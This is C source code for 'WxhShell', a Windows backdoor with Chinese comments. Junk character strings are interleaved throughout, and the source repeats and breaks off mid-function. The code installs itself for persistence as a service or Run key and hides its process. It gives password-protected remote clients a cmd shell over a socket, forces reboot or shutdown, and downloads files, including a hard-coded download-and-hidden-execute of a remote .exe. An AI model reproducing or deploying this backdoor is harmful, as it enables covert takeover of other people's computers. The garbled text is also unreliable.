,"EnumProcessModules"); 'fY29Xr^ g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); E-#C#B NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); K pmq C$ v5*JBW+c* if (!NtQueryInformationProcess) return 0; 2D"aAI<P 8>(/:u_x hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); mA5sK?W if(!hProcess) return 0; \Lm`jU(:l "f-HOd\= if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; HcHwvf6y qG#ZYcVec CloseHandle(hProcess); \sS0@gnDI D`)K3;h hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); )yS8(F0 if(hProcess==NULL) return 0; ](z*t+"> ,6x>gcR HMODULE hMod; RF'&.RtVa char procName[255]; ~P"o_b6,k unsigned long cbNeeded; A#]78lR Xkf|^-n if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); [vxHsY3z ubl)$jZ:Q CloseHandle(hProcess); _Pn
1n (Z Q?1Qxo if(strstr(procName,"services")) return 1; // 以服务启动 RHmT$^= &cy<"y return 0; // 注册表启动 Dc0CQGx9b } &,$N|$yK}| LmP pt3[ // 主模块 fj[Kbo 7!h int StartWxhshell(LPSTR lpCmdLine) M} Mgz { Zl?9ibm;@ SOCKET wsl; ,
jCE
hb BOOL val=TRUE; kk}_AZ0eK int port=0; A1B%<$|pz struct sockaddr_in door; E|_}?>{R k!d<2Qp W if(wscfg.ws_autoins) Install(); `{Fz igF<].'V port=atoi(lpCmdLine); 0*6Q8`I FPu$N d&\ if(port<=0) port=wscfg.ws_port; Tj!rAMQk A&X
XL~yH WSADATA data; 8*&YQId~ if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; h79~d%- h/*@ML+bB8 if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; dyl1~'K^ setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); n39EKH rm% door.sin_family = AF_INET; _ U Y5 door.sin_addr.s_addr = inet_addr("127.0.0.1"); cuL/y$+EY door.sin_port = htons(port); u"DE? CM)V^k* if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { <>V~ closesocket(wsl); Ka$lNL3<j return 1; @I?:x4 } &5hs
W1` Uv!VzkPfo if(listen(wsl,2) == INVALID_SOCKET) { rv2;)3/* closesocket(wsl); v(P <_}G return 1; m1M6N`f } 6+:;Mb_S Wxhshell(wsl); 593!;2/@ WSACleanup(); ,Uy;jk rnBp2'EM return 0; 8(
bK\-b dEam| } sk@aOv'*( d"thM // 以NT服务方式启动 nY,LQ0r VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) |Gr@Mi5 { P[r$KGz DWORD status = 0; TNF DWORD specificError = 0xfffffff; \ZBz]rh* \xmDkWzE serviceStatus.dwServiceType = SERVICE_WIN32; _AH_<Z( serviceStatus.dwCurrentState = SERVICE_START_PENDING; <|hrmwk| serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; R0-Y2v serviceStatus.dwWin32ExitCode = 0; zO0K*s.yK serviceStatus.dwServiceSpecificExitCode = 0; dcfwUjp[ serviceStatus.dwCheckPoint = 0; w4l]rH serviceStatus.dwWaitHint = 0; 4|DN^F~iut JY3!jtv hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); nD}<zj$D2 if (hServiceStatusHandle==0) return; !wKiMgLS h7AO5"6 status = GetLastError(); k;r[m,$ if (status!=NO_ERROR) u/FC\xJc { (iht
LFp serviceStatus.dwCurrentState = SERVICE_STOPPED; ..=lM:13| serviceStatus.dwCheckPoint = 0; 'h[7AZ&)# serviceStatus.dwWaitHint = 0; Mo4c8wp&SM serviceStatus.dwWin32ExitCode = status; @2TfW]6 serviceStatus.dwServiceSpecificExitCode = specificError; n2Q?sV;m SetServiceStatus(hServiceStatusHandle, &serviceStatus); x!u6LDq0 return; V6'k\5| _ } 15MKV=?oY \!*F:v0g^ serviceStatus.dwCurrentState = SERVICE_RUNNING;
&%T*sR serviceStatus.dwCheckPoint = 0; juxAyds serviceStatus.dwWaitHint = 0; cG4}daK]d if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); BRv#` } CjJ n Sp]ov:]%f // 处理NT服务事件,比如:启动、停止 Y@+9Ukd/ VOID WINAPI NTServiceHandler(DWORD fdwControl) [YJ*zO { u\km_e switch(fdwControl) ScRK1 { OK2\2&G case SERVICE_CONTROL_STOP: hPUZ{#;n serviceStatus.dwWin32ExitCode = 0; ?"@SxM~\ serviceStatus.dwCurrentState = SERVICE_STOPPED; {ea*dX872: serviceStatus.dwCheckPoint = 0; Zt
1nH serviceStatus.dwWaitHint = 0; H7f
Xg { wV,=hMTd&\ SetServiceStatus(hServiceStatusHandle, &serviceStatus); qJw\<7m } 2FGCf} , return; ?i}wm` case SERVICE_CONTROL_PAUSE: ACF_;4%& serviceStatus.dwCurrentState = SERVICE_PAUSED; !>Q{co' break; D2zqDo<+; case SERVICE_CONTROL_CONTINUE: wd1>L) T serviceStatus.dwCurrentState = SERVICE_RUNNING; SRrp=>w? break; etk|%%J case SERVICE_CONTROL_INTERROGATE: mFE7#OM break; lE3&8~2 }; o_ r{cnu SetServiceStatus(hServiceStatusHandle, &serviceStatus); |@hyGu-H+ } Z 2lX^z Y>K8^GS // 标准应用程序主函数 z]j_,3Hff int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) i(xL-&{ { ~!_UDD ~L.5;8a3Pe // 获取操作系统版本 $=Tq<W*c OsIsNt=GetOsVer(); Htep3Ol3 GetModuleFileName(NULL,ExeFile,MAX_PATH); <XzRRCYQ t`1~5#?Du( // 从命令行安装 \*c=bz&l if(strpbrk(lpCmdLine,"iI")) Install(); %t$)sg] l{V(Y$xp3 // 下载执行文件 .GFKy if(wscfg.ws_downexe) { Wr,pm#gl6 if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) KCn#*[
WinExec(wscfg.ws_filenam,SW_HIDE); v=D4O . } &CfzhIi*! pzU:AUW if(!OsIsNt) { \G6V -W // 如果时win9x,隐藏进程并且设置为注册表启动 ;\iu*1>Z,& HideProc(); ,MD>Jx| StartWxhshell(lpCmdLine); +sXnC\ } MU1T="N^+ else GGFrV8 if(StartFromService()) ;$UB@)7% // 以服务方式启动 n'@XgUI, StartServiceCtrlDispatcher(DispatchTable); pFEU^]V3* else bbWW|PtWwP // 普通方式启动 ?$b*)< StartWxhshell(lpCmdLine); 9A}nZ1Y _61tE return 0; ;(LC{jY } pwV{@h! K?V'
?s 5ma~Pjt8} b>|d Q =========================================== fJn4'Q*U m_UzmWF Y>K3.*. l I+KT_|L %UCuI9 0f,Ii_k bT " qox@_ J8hH#7WMS #include <stdio.h> !(qaudX{>k #include <string.h> e'dZ2;X$zo #include <windows.h> BEii:05 #include <winsock2.h> +Z/aG k; #include <winsvc.h> *l'5z)] #include <urlmon.h> m# I .p\<niu7 #pragma comment (lib, "Ws2_32.lib") N#vV; #pragma comment (lib, "urlmon.lib") CSIsi]H 50`<[w<J
q #define MAX_USER 100 // 最大客户端连接数 Ga$EM #define BUF_SOCK 200 // sock buffer 8MCSU'uQ #define KEY_BUFF 255 // 输入 buffer Su[f"2oR 1.q
a//'RW #define REBOOT 0 // 重启 ~H`(z zk #define SHUTDOWN 1 // 关机 P!lTK
hgF4PdO1e #define DEF_PORT 5000 // 监听端口 Rm=[Sj84 %2rUJaOgy$ #define REG_LEN 16 // 注册表键长度 t0o'_>*?A #define SVC_LEN 80 // NT服务名长度 %hb!1I RhumNP<M // 从dll定义API Ec|5'Kz] typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); r`d.Wy Zj typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); OeY+Yt0 typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ?L6ACi`9 typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); qeoj !8OUH6{2 // wxhshell配置信息 YX6[m6LU struct WSCFG { F$>^pw int ws_port; // 监听端口 RyN?Sn5) char ws_passstr[REG_LEN]; // 口令 ;NrU|g/ksX int ws_autoins; // 安装标记, 1=yes 0=no l|~SVk| char ws_regname[REG_LEN]; // 注册表键名 -hpMd/F char ws_svcname[REG_LEN]; // 服务名 1$rrfg char ws_svcdisp[SVC_LEN]; // 服务显示名 7D wf0Re` char ws_svcdesc[SVC_LEN]; // 服务描述信息 jxA*Gg3cT5 char ws_passmsg[SVC_LEN]; // 密码输入提示信息 <}^l MBa int ws_downexe; // 下载执行标记, 1=yes 0=no G:?l;+P1 char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" V?+Y[Q char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Z)H9D(Za [}=/?(5 }; rTLo6wI isV9nWo$ // default Wxhshell configuration 1M/_:UH` struct WSCFG wscfg={DEF_PORT, /*)
=o+ "xuhuanlingzhe", hS:j$je 1, $61*X f+* "Wxhshell", #
>L^W7^ "Wxhshell", *heX[D
&>) "WxhShell Service", wUbLw "Wrsky Windows CmdShell Service", >EIV`|b$h "Please Input Your Password: ", 9Y-6e0B: 1, RF.8zea{O` "http://www.wrsky.com/wxhshell.exe", "ku ?A ^f "Wxhshell.exe" >Y[nU~ w }; 'Gds?o8 \H$j["3 // 消息定义模块 %4HpTx char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; V/i7Z h#2: char *msg_ws_prompt="\n\r? for help\n\r#>"; !Typ_Cs char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; U4$CkTe2Y char *msg_ws_ext="\n\rExit."; t(?tPt4zp char *msg_ws_end="\n\rQuit."; 9<S};I; char *msg_ws_boot="\n\rReboot..."; :p,DAt} char *msg_ws_poff="\n\rShutdown..."; Zp*0%x!e char *msg_ws_down="\n\rSave to "; F
B7.b 7Yd]#K{$ char *msg_ws_err="\n\rErr!"; {pW(@4U char *msg_ws_ok="\n\rOK!"; / qo`vk A [P?.(* char ExeFile[MAX_PATH]; [ZkK)78}k int nUser = 0; [X|KXlNfm HANDLE handles[MAX_USER]; !^<%RT9@| int OsIsNt; }X[wWH h$eVhN&Vv SERVICE_STATUS serviceStatus; oN6 '% SERVICE_STATUS_HANDLE hServiceStatusHandle; J`x!c9 zg7 {!rpE7P- // 函数声明 -R-|[xN int Install(void); G Za< int Uninstall(void); Y>: e4Q int DownloadFile(char *sURL, SOCKET wsh); p[M*<==4 int Boot(int flag); F),wj8#~>- void HideProc(void); 5W=jQ3 C int GetOsVer(void); &fYV FRVkq int Wxhshell(SOCKET wsl); .kkrU void TalkWithClient(void *cs); KQ(7% W int CmdShell(SOCKET sock); 1P+Te,I int StartFromService(void); i VIpe int StartWxhshell(LPSTR lpCmdLine); SvD^'(
x t)/:VImY VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ^-i<TJ VOID WINAPI NTServiceHandler( DWORD fdwControl ); ;+h-o '
;PHuMY#X // 数据结构和表定义 3m9ab" SERVICE_TABLE_ENTRY DispatchTable[] = )dgooq { -^%YrWgd? {wscfg.ws_svcname, NTServiceMain}, $"G=r(MW {NULL, NULL} EZvf\s>LT }; qkbxa?&X )0 W-S9e< // 自我安装 urK[v int Install(void) =-U8^e_Y { YKT=0 char svExeFile[MAX_PATH]; IJt8*
cw HKEY key; d*{NAq'9X strcpy(svExeFile,ExeFile); V
K)%Us- o1(?j}:c| // 如果是win9x系统,修改注册表设为自启动 (jY -MF3 if(!OsIsNt) { ,:1_I`d>#X if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { E)=X8y RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); [nnX,; RegCloseKey(key); 1SYBq,[]) if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { };=44E'7 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); CnA0^JX RegCloseKey(key); AT%@T| return 0; -I\Y
m_) } (ug^2WG
Yq } Htu}M8/4 } oTqv$IzqP else { )KPQ8y!d )D1=jD( // 如果是NT以上系统,安装为系统服务 x.OCE` SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); t$W~X~// if (schSCManager!=0) 5,<:|/r { ?Q XS? SC_HANDLE schService = CreateService ucVn ` ( _(Qec?[^Ps schSCManager, fq2t^c|$ wscfg.ws_svcname, f\~OG#AaX wscfg.ws_svcdisp, }dt7n65 SERVICE_ALL_ACCESS, ~3u'=u9l SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , pl{Pur ;i SERVICE_AUTO_START, BbqH02i SERVICE_ERROR_NORMAL, P}Ud7Vil;l svExeFile, >(aGk{e1 NULL, jg_##Oha NULL,
Kq*D_Rh2 NULL, *Bgk3(n) NULL, tL!R^Tf NULL J|z>5Z ); ))qOsphN if (schService!=0) g}\Yl. { 9(PQ7} CloseServiceHandle(schService); 'kz[Gh*8 CloseServiceHandle(schSCManager); |rDv!m strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 8=#J:LeXj strcat(svExeFile,wscfg.ws_svcname); mar
BVFz~ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { $O/@bh1@p RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); zu~E} RegCloseKey(key); x3JX}yCX return 0; E9L)dMZSpj } w/`I2uYu } ]ctlK'. CloseServiceHandle(schSCManager); Yb<t~jm } \v'\
Ea~ } 1qw*mV;W)_ ;c-J)Ky return 1; cG"+n@\ }
'7!b#if <L1;aNN // 自我卸载 Zljj int Uninstall(void) \Ami-<T { Lwg@*:`d HKEY key; q5irKT*Hs #N=!O/Y if(!OsIsNt) { eN/o}<(e if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ctv =8SFv( RegDeleteValue(key,wscfg.ws_regname); c teUKK.|) RegCloseKey(key); <4gT8kQ$x if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { nQ0g,'o RegDeleteValue(key,wscfg.ws_regname); iY /N%T; RegCloseKey(key); Pw^lp'dO return 0; Wgt[ACioN } 6w
d0" } '\$2+* } liW0v!jBo else { <_S>- ;by ] Fx9!S SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ltKUpRE\? if (schSCManager!=0)
u;fD4CA { 7j&iHL SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); \;z*j|;B if (schService!=0) ,qS-T'[v,( { -I$qe Xy if(DeleteService(schService)!=0) { HQ8oOn CloseServiceHandle(schService); JsfX&dX0 CloseServiceHandle(schSCManager); Pd99vq/ return 0; YxEc(a" } +ht -Bl CloseServiceHandle(schService); ;+%(@C51GE } pXfg{2 CloseServiceHandle(schSCManager); Oy:;v7 } <q
V<dK&W } vO85h SjT8eH # return 1; cxBu2(Y } L'dR;T[; YQyf:xJ // 从指定url下载文件 ~kdxJP" int DownloadFile(char *sURL, SOCKET wsh) 5]/i[T_ { bk@F/KqL HRESULT hr; ~bSPtH
]6d char seps[]= "/"; GA,6G [E char *token; wf4?{H char *file; "XWrd[Df char myURL[MAX_PATH]; CNCWxu char myFILE[MAX_PATH]; Cv@ZzILyoK .w/_Om4T*b strcpy(myURL,sURL); K:!|xr(1d token=strtok(myURL,seps); ('q u#.' while(token!=NULL) -6(u09mb_ { nE!h&}( file=token; (nWi9(}J token=strtok(NULL,seps); A.aUWh } E2 M|b @Sxb}XI!f GetCurrentDirectory(MAX_PATH,myFILE); i%m]<yElm strcat(myFILE, "\\"); kW"6Gc&HUN strcat(myFILE, file); ;++CMTza] send(wsh,myFILE,strlen(myFILE),0); 5&WYL send(wsh,"...",3,0); ).[Mnt/Ft hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ~J}{'l1{yf if(hr==S_OK) eyq8wQT return 0; Q`nsL)J else =2[5g!qX return 1; '.jr" 3u J?d&+mt } KZFnp=i (Sr D // 系统电源模块 D -Goi-4 int Boot(int flag) !,f{I5/ { P&Vqr HANDLE hToken; :x*|?zII TOKEN_PRIVILEGES tkp; ^l}Esz`-M N=e-"8 if(OsIsNt) { dg9
DBn# OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 8lAs~c LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); gO kq>i_ tkp.PrivilegeCount = 1; jmgU'w-s tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; NwH`t#zd AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); s8,{8k if(flag==REBOOT) { YGRv` `( if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) D^+#RR'#, return 0; 86bl'FdKS } s8,N9o[.~P else { [42vO if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) P`JO6O:& return 0; kPt9(E] } yi7m!+D3 } Z x9oj else { dd+[FU if(flag==REBOOT) { |a7W@LVYD if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) .VFa,&5;3 return 0; 9[<,49 } q.s 2x0 else { Y|eB;Dm1q if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 5,3Yt ~\m return 0; ~&>|u5C*@ } f9A^0A?c } qd@x#"qT %1E:rw@ return 1; 8Vcg30_+ } wYxnKm~f !+qy~h // win9x进程隐藏模块 b2x8t7%O void HideProc(void) FBn`sS8hH { Ep/kb-~- [nQ<pTg~r HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); N1dp%b9W( if ( hKernel != NULL ) 9cJzL"yi { ]s3U +t? pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); i
#5rk(^t ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); vWbf5? FreeLibrary(hKernel); ^a=,,6T } FX+;azE7 5v51:g>c return; ![ &
go } bERYC| $S~e"ca1 // 获取操作系统版本 jD@KG int GetOsVer(void) 2rS|V|d { |Qq_;x] OSVERSIONINFO winfo; ,j{$SuZM winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); J|k~e,C GetVersionEx(&winfo); jOuz-1x,& if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) }R.<\ return 1; RS'%;B-) else &|t*9D return 0; 9~8UG ( } ?S9!;x< P
I gbeP // 客户端句柄模块 Ra\>^W6z int Wxhshell(SOCKET wsl) tvH{[e$ { X{SD3j=G# SOCKET wsh; Pb05>J3N struct sockaddr_in client; 8$SA"c) DWORD myID; (+'*_
iV8j(HV while(nUser<MAX_USER) wyqXD.of { 3Lx]-0h int nSize=sizeof(client); S|U/m m wsh=accept(wsl,(struct sockaddr *)&client,&nSize); bL`O k if(wsh==INVALID_SOCKET) return 1; p4k*vuu> ISy\g`d`C handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); &5fM8Opkd if(handles[nUser]==0) i#$N,kt closesocket(wsh); `'BvUTDyZ else R:7j`gHJ|9 nUser++; %T3L-{s5 } KF' $D:\ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ") Xy%C`J :G#>): return 0; mz\d>0F U. } _KSYt32N cC'{+j8-a // 关闭 socket ?zwPF;L* void CloseIt(SOCKET wsh) R8
1z|+c|_ { |2,'QTm= closesocket(wsh); 0)}bJ,5/ nUser--; ;M '?k8L ExitThread(0); Ip}(!D| } u@v0I$ PxENLQ3a= // 客户端请求句柄 IaDc hI void TalkWithClient(void *cs) ] -O/{FIv {
xviz{M9g wy3{>A Z( SOCKET wsh=(SOCKET)cs;
sWp]Zy char pwd[SVC_LEN]; \TM%,RC3K char cmd[KEY_BUFF]; \hSOJ,{)U char chr[1]; ~2Jvb[IM int i,j; g%1FTl rf.w}B;V; while (nUser < MAX_USER) { KD]8n]c %a-:f)@ if(wscfg.ws_passstr) { Jq1 Zb if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); !QoOL<(){ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); k8E'wN //ZeroMemory(pwd,KEY_BUFF); ZRYs7 4< i=0; uVJ;1H! while(i<SVC_LEN) { $Bd{Y"P@6 9)={p9FZY // 设置超时 I>X _j) fd_set FdRead; \D8d!gr struct timeval TimeOut; K9Dxb FD_ZERO(&FdRead); {3Z&C$:s FD_SET(wsh,&FdRead); R3;GMe@D# TimeOut.tv_sec=8; 7[)4k7 TimeOut.tv_usec=0; ,}%+5yH int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 2lw0' if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); |sWH!:]49 "7_6iB&@< if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
yE3g0@* pwd=chr[0]; mO$]f4} if(chr[0]==0xd || chr[0]==0xa) { &E.ckWf pwd=0; z@hlN3dg break; Yrp
WGK520 } qv<[f=X9| i++; oy90|.]G } 3{o5AsVv hamn9 // 如果是非法用户,关闭 socket vluA46c if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); XYD}OddO } )cc:Z7p :4|W;Lkd! send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); gD0O7KO send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); d)m+Hc. .{as"h-.O while(1) { 4}B9y3W:v 7_>No*[ ZeroMemory(cmd,KEY_BUFF); (JS1}T aL@myq. // 自动支持客户端 telnet标准 :|J'HCth j=0; |eIEqq.Eb while(j<KEY_BUFF) { 9W$FX if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); \`?l6'! cmd[j]=chr[0]; a5o&6 _ if(chr[0]==0xa || chr[0]==0xd) { 0ts]
iQ7 cmd[j]=0; R[>fT}Lo break; !K;\{/8 } +5(#~ j++; B5"(NJ; } ^]}UyrOn &i*/}OZz // 下载文件 ;RNU`Ip if(strstr(cmd,"http://")) { ,.Ac= "f send(wsh,msg_ws_down,strlen(msg_ws_down),0); [pf78 if(DownloadFile(cmd,wsh)) HJT}v/FZ send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7r#U^d( else -AcLh0pc send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^`NU:" } YX38*Ml+V else { !P7&{I,e cOa.]Kk switch(cmd[0]) { VH1PC Eh\0gQ= // 帮助 e,/b&j*4th case '?': { wS"[m>.{v send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); hmJ{'D1" break; &U:bRzD } :lQl;Q -e // 安装 ,w%cX{ case 'i': { P]A>"-k if(Install()) -?gr3rV@ send(wsh,msg_ws_err,strlen(msg_ws_err),0); lNuZg9h else *Iv.W7 [ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Gv(bD6Rz break; Gqvnc8V& } |FS,Av // 卸载 t?H.M case 'r': { kBYZNjSz if(Uninstall()) UD6D![e send(wsh,msg_ws_err,strlen(msg_ws_err),0); '3B`4W, else F/z$jj) send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); z6e)|*cA$ break; "X~ayn'@w, } D@"g0SW4 // 显示 wxhshell 所在路径 pfS?:f<+6" case 'p': { )2T 1g~8 char svExeFile[MAX_PATH]; Eyu]0+ strcpy(svExeFile,"\n\r"); W,~s0a! strcat(svExeFile,ExeFile); "/6<k0.D& send(wsh,svExeFile,strlen(svExeFile),0); z,/0e@B > break; 9{bG @g } 'vKB]/e; // 重启 gzDH~'8W case 'b': { hXr`S4aJ send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); e6n1/TtqM if(Boot(REBOOT)) ~_v?M%5i send(wsh,msg_ws_err,strlen(msg_ws_err),0); |&vQ1o|} else { d5$2*h{^v closesocket(wsh); V XEA.Mko ExitThread(0); JEq0 {_7 } cn1CM'Ru break; _[}r2,e } t]1j4S"pm // 关机 6||zwwk'. case 'd': { #|'&%n|Z send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); i-oi?x<u&( if(Boot(SHUTDOWN)) KfpDPwP@ send(wsh,msg_ws_err,strlen(msg_ws_err),0); OU+oS, else { _%#Q
\D closesocket(wsh); WbZ{)
i ExitThread(0); -kY7~yS7 } G!},jO*" break; WS6pm6@A*! } z[:UPPbW // 获取shell ;n?72&h
case 's': { W70J2 CmdShell(wsh); #q. Q tDz closesocket(wsh); gbNPD*7g9 ExitThread(0); n]I_LlbY break; Fhw:@@= } P7r?rbO" // 退出 `c@KlL*!Q case 'x': { ^/`:o}7K7 send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); J5Rr7=:*S CloseIt(wsh); DE3>F^ j break; [oN}zZP] } {?*3Ou // 离开 LQ4GQqS* case 'q': { jSbO1 go# send(wsh,msg_ws_end,strlen(msg_ws_end),0); pVe@HJy6G closesocket(wsh); V&4)B &W WSACleanup(); z7V74hRPX exit(1); Rfh#JO@%[ break; Isv@V. } et]-;(M } \F=w~
$) } "<b~pfCOQk bv$g$ // 提示信息 5^'PjtW6 if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); -DDH)VO } +f/G2qY!t } D&_Ir>"\ !FOPFPn return; VQE8hQ37 } "'p;Udt/Qm dA-ik // shell模块句柄 < V) T_ int CmdShell(SOCKET sock) R?3^Kx { S N_!o2F2 STARTUPINFO si; ^S!^$d* ZeroMemory(&si,sizeof(si)); sl^i%xJ|l' si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ~5$V8yfx h si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; g2%&/zq/ PROCESS_INFORMATION ProcessInfo; .Q
FGIAM char cmdline[]="cmd"; T'.U?G CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); p~1,[]k return 0; J1DX}h] } b*=eMcd PY7j uS[+ // 自身启动模式 H&\IgD int StartFromService(void) :NJb<%$ { *IWO ,! typedef struct z VleJ!d { @F)51$Ld DWORD ExitStatus; $/;:Xb=q DWORD PebBaseAddress; [O*5\&6 DWORD AffinityMask; \(Z'@5vC DWORD BasePriority; g/ONr,l`- ULONG UniqueProcessId; +@D [%l| ULONG InheritedFromUniqueProcessId; SPKGbp& } PROCESS_BASIC_INFORMATION; 5|YpkY dn/0>|5OF( PROCNTQSIP NtQueryInformationProcess; n[4F\I> }R5>ja0 static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; *qKPZb~ static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; vy W/f 1zNH[
HANDLE hProcess; #
JHicx\8l PROCESS_BASIC_INFORMATION pbi; zOA{S~> nWpqAb HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); /h'V1zL# if(NULL == hInst ) return 0; k&|L"N|w Z4NNrA# g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); B4AV ubMbe g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); n%PHHu
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); K~gt=NH qPsf`nI7 if (!NtQueryInformationProcess) return 0; YCod\} 3 >0kn&pe7#T hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); y7aBF13Kl if(!hProcess) return 0; HHa
